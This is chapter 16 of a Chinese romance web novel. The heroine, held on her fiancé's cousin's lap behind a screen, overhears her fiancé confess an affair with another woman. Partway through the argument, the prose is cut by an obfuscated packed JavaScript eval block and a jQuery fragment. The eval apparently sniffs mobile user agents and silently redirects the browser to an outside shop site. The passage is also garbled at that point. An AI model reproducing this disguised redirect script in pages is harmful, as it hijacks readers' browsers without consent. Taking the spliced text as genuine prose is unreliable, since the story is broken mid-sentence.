16. 知晓
作品:《烂熟透红[先婚后爱]》 “梁念安,你到底要做什么?”
宴时铭愤怒地低吼道。
“媒体是你找的吧?照片也是你让人发的吧?你为什么要那样做?”
林染月在听到屏风外是宴时铭和梁念安时,其实有思考过这会儿到底要不要出去。
她其实并不在意这两人单独见面。
毕竟在以往的岁月里,宴时铭不止一次私下里单独跟梁念安进行交谈。
他说事实讲道理,说一万遍“我不爱你”,但梁念安没有一次听过,依然我行我素,追宴时铭追得恨不得全世界都知道。
所以比起躲在这里和宴淮熵近距离,林染月更愿意大大方方地走出去面对那一对“冤家”。
然而,她才一动,腕间突然被一只炙热的大手牢牢握住,一股大力袭来,她被猛得一拉,整个人朝沙发上的人扑去。
这变故太突然了,她完全没有反应过来,却不敢有太大的挣扎,轻而易举的便被那人强硬地按坐在大腿上。
一瞬间,身体与身体相贴,臀下是两条坚硬如磐石的大腿,后背是那人炙热滚烫的宽厚胸膛,混合着淡淡的檀香与雪松香,将林染月完完全全地笼罩住。
林染月大惊,身体内泛起层层电流,激得她整个人都要颤栗起来。她正要叫,正要挣扎着站起来,男人突然一手将她狠狠按进怀里,另一手,捂住了她的嘴。
“听!”
低沉的声音,如命令般响在耳边。
灼热的呼吸烫得她微微颤抖,从耳廓沿着纤细的脖颈一路延至腰背。
林染月完全不敢再出声了,只瞪着一双惊慌失措的眼睛呆呆地望着前方,全身绷紧,脑中空白成一片。
屏风外,梁念安和宴时铭大概全身心都集中在对方身上,脚下的地毯无声地隔绝了任何轻微的动静,他们在大声地吵架,因此两人并没有察觉到屏风另一边的动静,更没想到这个休息室里还有别人。
梁念安突然将什么物件摔在地上,发出沉闷的一声“咚”,她声音里透着无尽的委屈:“宴时铭,你在说什么?我怎么可能找人偷拍,被人骂小三对我有什么好处,你怎么可以这样冤枉我?”
宴时铭顿了一下,疑惑道:“真不是你?”
“真不是我!宴时铭,原来你这样想我,就算我不要脸,我们梁家还要脸,我会做这种事吗?你,你竟然怀疑我,还对我凶……”
梁念安说着说着,声音开始哽咽,似乎哭了。
“别哭了,算我冤枉你,我跟你道歉,你别哭了。”
宴时铭的声音顿时有些急切,听上去竟有些温和,像是在轻声地哄着人。
可梁念安越哄哭得越凶:“宴时铭,你说实话,你是不是根本就不想跟林染月分手?”
宴时铭沉默着没说话,过了一会儿低声道:“对不起,我恐怕只能和染月结婚了,我们,要不算了吧,之前发生的都是错误的,我们……”
梁念安听了这话突然激动起来。
“我就知道!我就知道你不想和她分手!我就知道你还喜欢她!你今天还和她暗戳戳的搞情侣装,明明说好只跟我搭,我的发夹,你的胸针,说好了这才是一对,可你却和她穿情侣装。你根本就不想跟她分手,你明知道她骗你,你明知道我才是照顾你一晚上的人,我才是你要找的那个正确的人,你却不想跟她分手!”
屏风内,坐在宴淮熵腿上紧张得一动不敢动的林染月,怔在那里。
什么意思?
什么正确的人?
宴时铭今天戴的胸针是为了和梁念安搭配?
这两人,什么情况?
宴时铭一把将梁念安搂在怀里,声音哽咽道:“对不起,我们及时止损吧,都是我的错。但是我还是得告诉你,我没有要和她搭配,我一个月前给她定制的是红色礼服,我也不知道她为什么没有穿。”
梁念安声音里满是悲痛:“不要,我不要算了。我不甘心,你明明应该爱我,你那么迷恋我的身体,你说过只有我能带给你快乐。”
“我不要算了,你知道我今天看见你和她一起走进来我有多生气?你知不知道周围的人全在夸你们我有多嫉妒?你知不知道当我看见你和她站在一起搀扶着奶奶,我恨不得上去撕烂她……”
“你不要离开我,不要和我算了,不要和我分手……”
梁念安越说越激动,手捶在宴时铭的胸口,整个休息室里都是啪啪作响的声音。
而屏风内,林染月瞪大双眼,眼中一片茫然。
这瞬间她几乎忘记了自己还在宴淮熵的腿上坐着,忘记了那人结实炙热的手臂正紧紧地箍着她的腰。
她呆愣在那里,感觉自己的三观受到了强烈的冲击。
什么情况?宴时铭这是,和梁念安在一起了?
可她还没有跟宴时铭分手啊。
原来这两人搞在了一起。
什么时候啊?
她怎么没有一点察觉?
宴时铭不是说过他很讨厌梁念安吗?
这时,圈在腰上的手臂突然一紧,林染月从纷乱的思绪里又回到身后的人身上。
她感觉身后那坚硬炙热的胸膛好像将她贴得更近了,而捂在她嘴唇上的指腹突然轻轻拨动了一下她柔软的唇瓣,那炙热的指腹便贴在了她湿润的唇瓣中间不动了。
林染月心中一惊,脸刷一下红了。
要不是她知道宴淮熵有多讨厌她,她都要以为他是故意的了。
但宴淮熵好似完全没有察觉,依旧将那根手指放在她的唇瓣中间……
“呜呜呜呜……”
梁念安哭得泪流满面。
“宴时铭,你知道的,我从小就喜欢你,我这辈子只喜欢过你一个人,我不是没有想过放弃你。那天,你向她求婚的那晚,我原本想着放弃你了,跟你做最后一次告白。可,可当晚我们竟然上了床,你不知道,那之后的三天是我这辈子最快乐的三天。你当时也很快乐,你说你从来没有这么快乐过。
我现在想明白了,哪怕你是见色起意我也认了,哪怕你只想要我的身体,我也认了,我可以等你的。”
宴时铭叹了一口气,似是将人抱进了怀里。
“没有,念念,我现在真的只喜欢你!以前,你总是骄傲的,像个娇气的小公主,天不怕地不怕的那种。那晚我从来没有见你哭得那么伤心过,我那时才知道,原来你这么爱我。对不起,我又害你哭得这么伤心。我真该死,可我现在真的不能跟她分手,我刚向她求了婚,如果这么快就分手,我爸会打死我的,我妈也会怪我。”
“更重要的是,我怕你会被骂小三。”
梁念安却完全不理会,气愤道:“说了半天你就是不想和她分手!什么爱我,你就是在骗我!我告诉你我才不怕!随便他们骂,要不是林染月骗你,我们早就在一起了,要是小三也是林染月是小三,不被爱的人才是小三!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469666|201408||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“宴时铭!”
梁念安突然一把推开宴时铭。
“我不管,你必须要和她分手,不然我们就结束了,这二十多年的情谊就一刀两断!我永远也不会再理你!永远也不会再爱你!我会永远永远消失在你面前!”
梁念安说完,就听“吱呀”一声响,有人拉开了门。
“念念!”
宴时铭痛苦又焦急地低喊。
接着“砰”的一声响,门被大力的关上,是梁念安负气跑了出去。
偌大的休息室瞬间安静了下来。
一秒,两秒……
一分,两分……
随后,一声轻叹。
宴时铭如脱了力般地坐在沙发上。
“铮铮~”两声响,轻淡的烟味飘散起来,很快充斥了整间休息室。
而隔着一道屏风,林染月似乎听见了宴时铭心碎的声音。
一支烟,两支烟……
大约抽完第三支烟后,林染月听见休息室的门终于再次被人拉开。
接着,门砰一声再次关上。
宴时铭也走了。
休息室这下是彻底地安静了下来。
而林染月早已怔愣在那里,脑中一片混乱。
乱糟糟的。
一半是坐在宴淮熵身上从头至尾的压迫感,紧张感,被禁锢感。一半是听见自己的男友又谈恋爱的茫然感。
原来,宴时铭有了喜欢的人啊。
她突然就想起她答应和宴时铭在一起的那天,宴时铭先是欢呼着蹦起来,随后竟然抱着她哭了。
那时,他捂着胸口向她承诺:“染月,我从十四岁就爱上了你,现在终于得偿所愿,我一定不会辜负你,我会对你一辈子好。”
两个星期前,盛大绚烂的烟花与无人机之下,他单膝下跪,双眼虔诚地望着她,一字一句地说:“林染月,我愿意一辈子对你好,嫁给我吧。”
原来宴时铭的一辈子,如此短暂,超不过半年。
原来,求婚那晚,当她拒绝与他发生关系,请他再给她些时间,在她离开之后他转头和另一个女人上了床……
林染月突然觉得好笑,好笑她便轻轻地笑了一下。
这笑没有出声,却带动身体微微颤抖了一下,林染月顿时感觉按在她身上的那只胳膊又紧了一下。
林染月瞬间如电流划过,脑中嗡嗡作响,终于反应过来一个可怕的事情——宴时铭早就走了,而她竟然还坐在宴淮熵腿上。
昏暗的房间内,女人香槟色的晚礼服裙摆早已与男人的黑西装贴缠在一起,雪白修长的小腿蹭着男人的黑西装裤上。再往下,女人脚尖绷紧,性感的裸色高跟鞋鞋尖底轻点在男人黑色铮亮的黑皮鞋上。
男人的手臂如钢管般坚硬地将她桎梏,炙热的掌心捂着她的嘴唇,指腹却早已被她含在中间,裹上一层湿润。
林染月“噌”地一下站起来,红着一张脸整个人如惊慌失措的小鹿,一下子退离三步。
“对不起!对不起!我不是故意的!”
她完全不敢看宴淮熵,也不敢想象和她离得这么近宴淮熵会是什么表情。
更完全忘记了是这人主动将她拽到腿上,主动捂住她的嘴唇。
她只记得曾经那双看向她厌恶的眼,冰凉得让她离他远一点。
对,她得离他远一点。
林染月慌慌张张地跑了出去。

